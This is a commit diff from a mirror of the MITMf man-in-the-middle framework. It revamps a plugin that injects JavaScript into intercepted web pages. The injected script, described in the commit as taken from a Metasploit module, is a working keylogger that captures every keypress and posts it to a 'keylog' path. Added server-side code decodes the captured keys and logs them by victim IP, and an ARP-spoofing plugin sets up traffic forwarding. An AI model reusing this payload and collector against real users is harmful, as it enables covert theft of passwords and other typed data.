github/MITMf
1
0
Fork 0
mirror of https://github.com/byt3bl33d3r/MITMf.git synced 2025-07-07 21:42:17 -07:00
Code Issues Projects Releases Packages Wiki Activity Actions

revamped jskeylogger plugin

Browse source
This commit is contained in:
byt3bl33d3r 2014-07-11 19:23:59 +02:00
parent c11d55e293
commit 95645e3700
3 changed files with 58 additions and 19 deletions
Download patch file Download diff file Expand all files Collapse all files

2
plugins/ArpSpoof.py
View file

@ -33,7 +33,7 @@ class ArpSpoof(Plugin):
if self.interface == None or self.routerip == None: if self.interface == None or self.routerip == None:
sys.exit("[-] %s plugin requires --routerip and --interface" % self.name) sys.exit("[-] %s plugin requires --routerip and --interface" % self.name)
print "[*] ArpSpoof plugin online" print "[*] %s plugin online" % name
if self.setup == True: if self.setup == True:
print '[*] Setting up ip_forward and iptables' print '[*] Setting up ip_forward and iptables'
file = open('/proc/sys/net/ipv4/ip_forward', 'w') file = open('/proc/sys/net/ipv4/ip_forward', 'w')

56
plugins/jskeylogger.py
View file

@ -9,14 +9,15 @@ class jskeylogger(Inject, Plugin):
def initialize(self,options): def initialize(self,options):
Inject.initialize(self, options) Inject.initialize(self, options)
self.html_payload = self.get_payload() self.html_payload = self.msf_keylogger()
print "[*] %s online" % self.name print "[*] %s online" % self.name
def get_payload(self): def msf_keylogger(self):
#simple js keylogger stolen from http://wiremask.eu/xss-keylogger/ #Stolen from the Metasploit module http_javascript_keylogger
payload = """<script type="text/javascript"> payload = """<script type="text/javascript">
var keys = ''; window.onload = function mainfunc(){
var2 = ",";
function make_xhr(){ function make_xhr(){
var xhr; var xhr;
@ -42,21 +43,42 @@ function make_xhr(){
} }
} }
document.onkeypress = function(e) { if (window.addEventListener) {
var get = window.event ? event : e; document.addEventListener('keypress', function2, true);
var key = get.keyCode ? get.keyCode : get.charCode; document.addEventListener('keydown', function1, true);
key = String.fromCharCode(key); } else if (window.attachEvent) {
keys += key; document.attachEvent('onkeypress', function2);
document.attachEvent('onkeydown', function1);
} else {
document.onkeypress = function2;
document.onkeydown = function1;
} }
window.setInterval(function(){ }
if (keys.length > 0){ function function2(e){
xhr.open("POST", "keylog", true); var3 = (window.event) ? window.event.keyCode : e.which;
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded"); var3 = var3.toString(16);
xhr.send(keys); if (var3 != "d"){
keys = ''; function3(var3);
} }
}, 1000); }
function function1(e){
var3 = (window.event) ? window.event.keyCode : e.which;
if (var3 == 9 || var3 == 8 || var3 == 13){
function3(var3);
}
}
function function3(var3){
var2 = var2 + var3 + ",";
xhr.open("POST", "keylog", true);
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr.send(var2);
if (var3 == 13 || var2.length > 3000)
var2 = ",";
}
</script>""" </script>"""
return payload return payload

19
sslstrip/ServerConnection.py
View file

@ -80,7 +80,24 @@ class ServerConnection(HTTPClient):
logging.warning(str(self.client.getClientIP()) + " Browser Profilerer data:\n" + out) logging.warning(str(self.client.getClientIP()) + " Browser Profilerer data:\n" + out)
elif 'keylog' in self.uri: elif 'keylog' in self.uri:
logging.warning(str(self.client.getClientIP()) + " ["+ self.headers['host'] + "] " "Keys: " + self.postData) keys = self.postData.split(",")
del keys[0]; del(keys[len(keys)-1])
nice = ''
for n in keys:
if n == '9':
nice += "<TAB>"
elif n == '8':
nice = nice.replace(nice[-1:], "")
elif n == '13':
nice = ''
else:
try:
nice += n.decode('hex')
except:
print "ERROR: unknown char " + n
logging.warning(str(self.client.getClientIP()) + " ["+ self.headers['host'] + "] " "Keys: " + nice)
else: else:
logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData)) logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData))